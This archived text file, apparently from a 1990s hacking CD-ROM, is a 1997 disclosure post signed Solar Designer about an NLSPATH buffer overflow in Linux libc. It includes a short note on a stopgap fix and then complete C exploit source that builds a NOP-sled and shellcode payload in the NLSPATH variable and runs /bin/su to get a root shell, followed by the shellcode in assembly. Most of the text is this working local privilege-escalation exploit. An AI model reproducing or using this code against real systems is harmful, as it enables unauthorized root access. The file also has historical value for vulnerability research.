home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / linux_nl.asc < prev    next >
Encoding:
Text File  |  2003-06-11  |  2.8 KB  |  115 lines

  1. I just occasionally found a vulnerability in Linux libc (actually, some of
  2. the versions seem not to be vulnerable; my Slackware 3.1 box was though).
  3. Unfortunately, I have no time for a real investigation right now, but here's
  4. the exploit anyway. Note that the shellcode is a bit different from the
  5. usual one:
  6. -- it does setuid(geteuid()) by itself;
  7. -- easier to modify (no more fixed offsets in shellcode, and the shell name
  8. can be changed, too -- the length is not fixed);
  9. -- the NULL pointer itself is passed in %edx to the execve syscall, not the
  10. pointer to NULL (it seems like a mistake in the Aleph One's article); this
  11. doesn't seem to affect anything though.
  12.  
  13. It might be possible to exploit this hole remotely, if using a patched telnet
  14. client which would allow exporting large environment variable values. The
  15. overflow would happen at /bin/login startup then (somewhat like the famous
  16. LD_PRELOAD exploit, but an overflow). I'm not sure of that though, there might
  17. be some restrictions on environment variables in telnetd.
  18.  
  19. As for the fix, well, this is a hard one -- would require re-compiling libc,
  20. and statically linked binaries. To protect yourself against remote attacks,
  21. you could for example change the variable name to something different, with
  22. a hex editor (like /usr/bin/bpe), in /lib/libc.so.5, and ensure the exploit
  23. stopped working. Of course, this is only a temporary fix.
  24.  
  25. --- nlspath.c ---
  26.  
  27. /*
  28.  * NLSPATH buffer overflow exploit for Linux, tested on Slackware 3.1
  29.  * Copyright (c) 1997 by Solar Designer
  30.  */
  31.  
  32. #include <stdio.h>
  33. #include <stdlib.h>
  34. #include <unistd.h>
  35.  
  36. char *shellcode =
  37.   "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
  38.   "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"
  39.   "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
  40.   "\xcd\x80/"
  41.   "/bin/sh"
  42.   "0";
  43.  
  44. char *get_sp() {
  45.    asm("movl %esp,%eax");
  46. }
  47.  
  48. #define bufsize 2048
  49. char buffer[bufsize];
  50.  
  51. main() {
  52.   int i;
  53.  
  54.   for (i = 0; i < bufsize - 4; i += 4)
  55.     *(char **)&buffer[i] = get_sp() - 3072;
  56.  
  57.   memset(buffer, 0x90, 512);
  58.   memcpy(&buffer[512], shellcode, strlen(shellcode));
  59.  
  60.   buffer[bufsize - 1] = 0;
  61.  
  62.   setenv("NLSPATH", buffer, 1);
  63.  
  64.   execl("/bin/su", "/bin/su", NULL);
  65. }
  66.  
  67. --- nlspath.c ---
  68.  
  69. And the shellcode separately:
  70.  
  71. --- shellcode.s ---
  72.  
  73. .text
  74. .globl shellcode
  75. shellcode:
  76. xorl %eax,%eax
  77. movb $0x31,%al
  78. int $0x80
  79. xchgl %eax,%ebx
  80. xorl %eax,%eax
  81. movb $0x17,%al
  82. int $0x80
  83. .byte 0x68
  84. popl %ecx
  85. popl %eax
  86. jmp *%ecx
  87. call *%esp
  88. xorl %eax,%eax
  89. cltd
  90. movl %ecx,%edi
  91. movb $'/'-1,%al
  92. incl %eax
  93. scasb %es:(%edi),%al
  94. jne -3
  95. movl %edi,(%ecx)
  96. movl %edx,4(%ecx)
  97. movl %edi,%ebx
  98. incl %eax
  99. scasb %es:(%edi),%al
  100. jne -3
  101. movb %dl,-1(%edi)
  102. movb $0x0B,%al
  103. int $0x80
  104. xorl %eax,%eax
  105. incl %eax
  106. xorl %ebx,%ebx
  107. int $0x80
  108. .byte '/'
  109. .string "/bin/sh0"
  110.  
  111. --- shellcode.s ---
  112.  
  113. Signed,
  114. Solar Designer
  115.